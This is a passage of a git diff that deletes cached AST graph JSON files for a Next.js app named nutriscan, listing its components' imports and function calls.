"D:\\Documents\\Github\\nutriscan\\app\\api\\location\\route.ts", "source_location": "L95"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/2be70015943d756d18da2fc4a15627f9e44c05cb53367372432f8fd26ef7518c.json b/graphify-out/cache/ast/2be70015943d756d18da2fc4a15627f9e44c05cb53367372432f8fd26ef7518c.json
deleted file mode 100644
index 17bef52..0000000
--- a/graphify-out/cache/ast/2be70015943d756d18da2fc4a15627f9e44c05cb53367372432f8fd26ef7518c.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_components_pagination_tsx", "label": "Pagination.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Pagination.tsx", "source_location": "L1"}, {"id": "components_pagination_default_config", "label": "DEFAULT_CONFIG", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Pagination.tsx", "source_location": "L20"}, {"id": "components_pagination_pagination", "label": "Pagination()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Pagination.tsx", "source_location": "L27"}], "edges": [{"source": "d_documents_github_nutriscan_app_components_pagination_tsx", "target": "react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Pagination.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_pagination_tsx", "target": "lucide_react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Pagination.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_pagination_tsx", "target": "d_documents_github_nutriscan_components_ui_button_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Pagination.tsx", "source_location": "L10", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_pagination_tsx", "target": "ui_button_button", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Pagination.tsx", "source_location": "L10", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_pagination_tsx", "target": "d_documents_github_nutriscan_components_ui_select_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Pagination.tsx", "source_location": "L11", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_pagination_tsx", "target": "ui_select_select", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Pagination.tsx", "source_location": "L11", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_pagination_tsx", "target": "ui_select_selectcontent", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Pagination.tsx", "source_location": "L11", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_pagination_tsx", "target": "ui_select_selectitem", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Pagination.tsx", "source_location": "L11", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_pagination_tsx", "target": "ui_select_selecttrigger", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Pagination.tsx", "source_location": "L11", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_pagination_tsx", "target": "ui_select_selectvalue", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Pagination.tsx", "source_location": "L11", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_pagination_tsx", "target": "d_documents_github_nutriscan_lib_types_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Pagination.tsx", "source_location": "L18", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_pagination_tsx", "target": "lib_types_paginationprops", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Pagination.tsx", "source_location": "L18", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_pagination_tsx", "target": "lib_types_paginationconfig", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Pagination.tsx", "source_location": "L18", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_pagination_tsx", "target": "components_pagination_default_config", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Pagination.tsx", "source_location": "L20", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_pagination_tsx", "target": "components_pagination_pagination", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Pagination.tsx", "source_location": "L27", "weight": 1.0}], "raw_calls": [{"caller_nid": "components_pagination_pagination", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Pagination.tsx", "source_location": "L37"}, {"caller_nid": "components_pagination_pagination", "callee": "useMemo", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Pagination.tsx", "source_location": "L38"}, {"caller_nid": "components_pagination_pagination", "callee": "min", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Pagination.tsx", "source_location": "L45"}, {"caller_nid": "components_pagination_pagination", "callee": "useMemo", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Pagination.tsx", "source_location": "L48"}, {"caller_nid": "components_pagination_pagination", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Pagination.tsx", "source_location": "L135"}, {"caller_nid": "components_pagination_pagination", "callee": "toString", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Pagination.tsx", "source_location": "L173"}, {"caller_nid": "components_pagination_pagination", "callee": "toString", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Pagination.tsx", "source_location": "L208"}, {"caller_nid": "components_pagination_pagination", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Pagination.tsx", "source_location": "L253"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/3138e77cb6b9deb74402ea12fde5cf346e62de6b91b39b3941aa0724cae21f74.json b/graphify-out/cache/ast/3138e77cb6b9deb74402ea12fde5cf346e62de6b91b39b3941aa0724cae21f74.json
deleted file mode 100644
index 4732540..0000000
--- a/graphify-out/cache/ast/3138e77cb6b9deb74402ea12fde5cf346e62de6b91b39b3941aa0724cae21f74.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_components_main_tsx", "label": "Main.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Main.tsx", "source_location": "L1"}, {"id": "components_main_mainprops", "label": "MainProps", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Main.tsx", "source_location": "L17"}, {"id": "components_main_main", "label": "Main()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Main.tsx", "source_location": "L21"}], "edges": [{"source": "d_documents_github_nutriscan_app_components_main_tsx", "target": "d_documents_github_nutriscan_components_ui_input_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Main.tsx", "source_location": "L2", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_main_tsx", "target": "ui_input_input", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Main.tsx", "source_location": "L2", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_main_tsx", "target": "d_documents_github_nutriscan_components_ui_select_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Main.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_main_tsx", "target": "ui_select_select", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Main.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_main_tsx", "target": "ui_select_selectcontent", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Main.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_main_tsx", "target": "ui_select_selectgroup", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Main.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_main_tsx", "target": "ui_select_selectitem", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Main.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_main_tsx", "target": "ui_select_selectlabel", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Main.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_main_tsx", "target": "ui_select_selecttrigger", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Main.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_main_tsx", "target": "ui_select_selectvalue", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Main.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_main_tsx", "target": "d_documents_github_nutriscan_components_ui_button_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Main.tsx", "source_location": "L12", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_main_tsx", "target": "ui_button_button", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Main.tsx", "source_location": "L12", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_main_tsx", "target": "d_documents_github_nutriscan_app_actions_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Main.tsx", "source_location": "L13", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_main_tsx", "target": "app_actions_criaritens", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Main.tsx", "source_location": "L13", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_main_tsx", "target": "react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Main.tsx", "source_location": "L14", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_main_tsx", "target": "navigation", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Main.tsx", "source_location": "L15", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_main_tsx", "target": "components_main_mainprops", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Main.tsx", "source_location": "L17", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_main_tsx", "target": "components_main_main", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Main.tsx", "source_location": "L21", "weight": 1.0}], "raw_calls": [{"caller_nid": "components_main_main", "callee": "useTransition", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Main.tsx", "source_location": "L22"}, {"caller_nid": "components_main_main", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Main.tsx", "source_location": "L23"}, {"caller_nid": "components_main_main", "callee": "useRouter", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Main.tsx", "source_location": "L24"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/33374ac526b648b3ec4128f50d2f22fb13683dbeca4499d311678829820922bd.json b/graphify-out/cache/ast/33374ac526b648b3ec4128f50d2f22fb13683dbeca4499d311678829820922bd.json
deleted file mode 100644
index 8cff412..0000000
--- a/graphify-out/cache/ast/33374ac526b648b3ec4128f50d2f22fb13683dbeca4499d311678829820922bd.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_api_storage_stats_route_ts", "label": "route.ts", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\storage-stats\\route.ts", "source_location": "L1"}, {"id": "storage_stats_route_get", "label": "GET()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\storage-stats\\route.ts", "source_location": "L4"}], "edges": [{"source": "d_documents_github_nutriscan_app_api_storage_stats_route_ts", "target": "server", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\storage-stats\\route.ts", "source_location": "L1", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_api_storage_stats_route_ts", "target": "d_documents_github_nutriscan_lib_jsoncachemanager_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\storage-stats\\route.ts", "source_location": "L2", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_api_storage_stats_route_ts", "target": "lib_jsoncachemanager_jsoncachemanager", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\storage-stats\\route.ts", "source_location": "L2", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_api_storage_stats_route_ts", "target": "storage_stats_route_get", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\storage-stats\\route.ts", "source_location": "L4", "weight": 1.0}], "raw_calls": [{"caller_nid": "storage_stats_route_get", "callee": "log", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\storage-stats\\route.ts", "source_location": "L6"}, {"caller_nid": "storage_stats_route_get", "callee": "isInitialized", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\storage-stats\\route.ts", "source_location": "L9"}, {"caller_nid": "storage_stats_route_get", "callee": "log", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\storage-stats\\route.ts", "source_location": "L11"}, {"caller_nid": "storage_stats_route_get", "callee": "json", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\storage-stats\\route.ts", "source_location": "L12"}, {"caller_nid": "storage_stats_route_get", "callee": "now", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\storage-stats\\route.ts", "source_location": "L20"}, {"caller_nid": "storage_stats_route_get", "callee": "getStorageStats", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\storage-stats\\route.ts", "source_location": "L25"}, {"caller_nid": "storage_stats_route_get", "callee": "log", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\storage-stats\\route.ts", "source_location": "L26"}, {"caller_nid": "storage_stats_route_get", "callee": "json", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\storage-stats\\route.ts", "source_location": "L28"}, {"caller_nid": "storage_stats_route_get", "callee": "now", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\storage-stats\\route.ts", "source_location": "L31"}, {"caller_nid": "storage_stats_route_get", "callee": "error", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\storage-stats\\route.ts", "source_location": "L34"}, {"caller_nid": "storage_stats_route_get", "callee": "json", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\storage-stats\\route.ts", "source_location": "L37"}, {"caller_nid": "storage_stats_route_get", "callee": "now", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\storage-stats\\route.ts", "source_location": "L45"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/36d12d45babcc92799f33a0240a7610d8128ac94fd2698901ef9d15e9fb5b28f.json b/graphify-out/cache/ast/36d12d45babcc92799f33a0240a7610d8128ac94fd2698901ef9d15e9fb5b28f.json
deleted file mode 100644
index 4415609..0000000
--- a/graphify-out/cache/ast/36d12d45babcc92799f33a0240a7610d8128ac94fd2698901ef9d15e9fb5b28f.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_sobre_components_targetaudiencesection_tsx", "label": "TargetAudienceSection.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\TargetAudienceSection.tsx", "source_location": "L1"}, {"id": "components_targetaudiencesection_personas", "label": "PERSONAS", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\TargetAudienceSection.tsx", "source_location": "L3"}, {"id": "components_targetaudiencesection_targetaudiencesection", "label": "TargetAudienceSection()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\TargetAudienceSection.tsx", "source_location": "L38"}], "edges": [{"source": "d_documents_github_nutriscan_app_sobre_components_targetaudiencesection_tsx", "target": "components_targetaudiencesection_personas", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\TargetAudienceSection.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_sobre_components_targetaudiencesection_tsx", "target": "components_targetaudiencesection_targetaudiencesection", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\TargetAudienceSection.tsx", "source_location": "L38", "weight": 1.0}], "raw_calls": [{"caller_nid": "components_targetaudiencesection_targetaudiencesection", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\TargetAudienceSection.tsx", "source_location": "L56"}, {"caller_nid": "components_targetaudiencesection_targetaudiencesection", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\TargetAudienceSection.tsx", "source_location": "L94"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/396852224899726d54294bc496a2354a815fae2c6eb8c64371b3840ae02a7ab9.json b/graphify-out/cache/ast/396852224899726d54294bc496a2354a815fae2c6eb8c64371b3840ae02a7ab9.json
deleted file mode 100644
index cefd3e9..0000000
--- a/graphify-out/cache/ast/396852224899726d54294bc496a2354a815fae2c6eb8c64371b3840ae02a7ab9.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_hooks_usestoragemonitor_ts", "label": "useStorageMonitor.ts", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useStorageMonitor.ts", "source_location": "L1"}, {"id": "hooks_usestoragemonitor_usestoragemonitorreturn", "label": "UseStorageMonitorReturn", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useStorageMonitor.ts", "source_location": "L9"}, {"id": "hooks_usestoragemonitor_usestoragemonitor", "label": "useStorageMonitor()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useStorageMonitor.ts", "source_location": "L19"}], "edges": [{"source": "d_documents_github_nutriscan_hooks_usestoragemonitor_ts", "target": "react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useStorageMonitor.ts", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_hooks_usestoragemonitor_ts", "target": "d_documents_github_nutriscan_lib_types_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useStorageMonitor.ts", "source_location": "L7", "weight": 1.0}, {"source": "d_documents_github_nutriscan_hooks_usestoragemonitor_ts", "target": "lib_types_storagestats", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useStorageMonitor.ts", "source_location": "L7", "weight": 1.0}, {"source": "d_documents_github_nutriscan_hooks_usestoragemonitor_ts", "target": "hooks_usestoragemonitor_usestoragemonitorreturn", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useStorageMonitor.ts", "source_location": "L9", "weight": 1.0}, {"source": "d_documents_github_nutriscan_hooks_usestoragemonitor_ts", "target": "hooks_usestoragemonitor_usestoragemonitor", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useStorageMonitor.ts", "source_location": "L19", "weight": 1.0}], "raw_calls": [{"caller_nid": "hooks_usestoragemonitor_usestoragemonitor", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useStorageMonitor.ts", "source_location": "L20"}, {"caller_nid": "hooks_usestoragemonitor_usestoragemonitor", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useStorageMonitor.ts", "source_location": "L21"}, {"caller_nid": "hooks_usestoragemonitor_usestoragemonitor", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useStorageMonitor.ts", "source_location": "L22"}, {"caller_nid": "hooks_usestoragemonitor_usestoragemonitor", "callee": "useCallback", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useStorageMonitor.ts", "source_location": "L27"}, {"caller_nid": "hooks_usestoragemonitor_usestoragemonitor", "callee": "useCallback", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useStorageMonitor.ts", "source_location": "L42"}, {"caller_nid": "hooks_usestoragemonitor_usestoragemonitor", "callee": "useCallback", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useStorageMonitor.ts", "source_location": "L80"}, {"caller_nid": "hooks_usestoragemonitor_usestoragemonitor", "callee": "useEffect", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useStorageMonitor.ts", "source_location": "L85"}, {"caller_nid": "hooks_usestoragemonitor_usestoragemonitor", "callee": "useEffect", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useStorageMonitor.ts", "source_location": "L90"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/3994e03360e8251b96c2be1f0cf2172301d7b771504a19f6e7f7297bcccb7ad3.json b/graphify-out/cache/ast/3994e03360e8251b96c2be1f0cf2172301d7b771504a19f6e7f7297bcccb7ad3.json
deleted file mode 100644
index f20224d..0000000
--- a/graphify-out/cache/ast/3994e03360e8251b96c2be1f0cf2172301d7b771504a19f6e7f7297bcccb7ad3.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_components_productcardskeleton_tsx", "label": "ProductCardSkeleton.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCardSkeleton.tsx", "source_location": "L1"}, {"id": "components_productcardskeleton_productcardskeleton", "label": "ProductCardSkeleton()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCardSkeleton.tsx", "source_location": "L4"}], "edges": [{"source": "d_documents_github_nutriscan_app_components_productcardskeleton_tsx", "target": "d_documents_github_nutriscan_components_ui_card_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCardSkeleton.tsx", "source_location": "L1", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_productcardskeleton_tsx", "target": "ui_card_card", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCardSkeleton.tsx", "source_location": "L1", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_productcardskeleton_tsx", "target": "ui_card_cardcontent", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCardSkeleton.tsx", "source_location": "L1", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_productcardskeleton_tsx", "target": "d_documents_github_nutriscan_components_ui_skeleton_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCardSkeleton.tsx", "source_location": "L2", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_productcardskeleton_tsx", "target": "ui_skeleton_skeleton", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCardSkeleton.tsx", "source_location": "L2", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_productcardskeleton_tsx", "target": "components_productcardskeleton_productcardskeleton", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCardSkeleton.tsx", "source_location": "L4", "weight": 1.0}], "raw_calls": []}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/3bcbbe681f4a16e9bc9a26f5f5d474a721ecf0dc869cbb9b68f43b042ed4a92c.json b/graphify-out/cache/ast/3bcbbe681f4a16e9bc9a26f5f5d474a721ecf0dc869cbb9b68f43b042ed4a92c.json
deleted file mode 100644
index 3c71546..0000000
--- a/graphify-out/cache/ast/3bcbbe681f4a16e9bc9a26f5f5d474a721ecf0dc869cbb9b68f43b042ed4a92c.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_components_ui_dialog_tsx", "label": "dialog.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\dialog.tsx", "source_location": "L1"}, {"id": "ui_dialog_dialogoverlay", "label": "DialogOverlay", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\dialog.tsx", "source_location": "L17"}, {"id": "ui_dialog_dialogcontent", "label": "DialogContent", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\dialog.tsx", "source_location": "L32"}, {"id": "ui_dialog_dialogheader", "label": "DialogHeader()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\dialog.tsx", "source_location": "L56"}, {"id": "ui_dialog_dialogfooter", "label": "DialogFooter()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\dialog.tsx", "source_location": "L70"}, {"id": "ui_dialog_dialogtitle", "label": "DialogTitle", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\dialog.tsx", "source_location": "L84"}, {"id": "ui_dialog_dialogdescription", "label": "DialogDescription", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\dialog.tsx", "source_location": "L99"}], "edges": [{"source": "d_documents_github_nutriscan_components_ui_dialog_tsx", "target": "react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\dialog.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_dialog_tsx", "target": "react_dialog", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\dialog.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_dialog_tsx", "target": "lucide_react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\dialog.tsx", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_dialog_tsx", "target": "d_documents_github_nutriscan_lib_utils_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\dialog.tsx", "source_location": "L7", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_dialog_tsx", "target": "lib_utils_cn", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\dialog.tsx", "source_location": "L7", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_dialog_tsx", "target": "ui_dialog_dialogoverlay", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\dialog.tsx", "source_location": "L17", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_dialog_tsx", "target": "ui_dialog_dialogcontent", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\dialog.tsx", "source_location": "L32", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_dialog_tsx", "target": "ui_dialog_dialogheader", "relation": "contains", "confidence": "EXTRACTED", 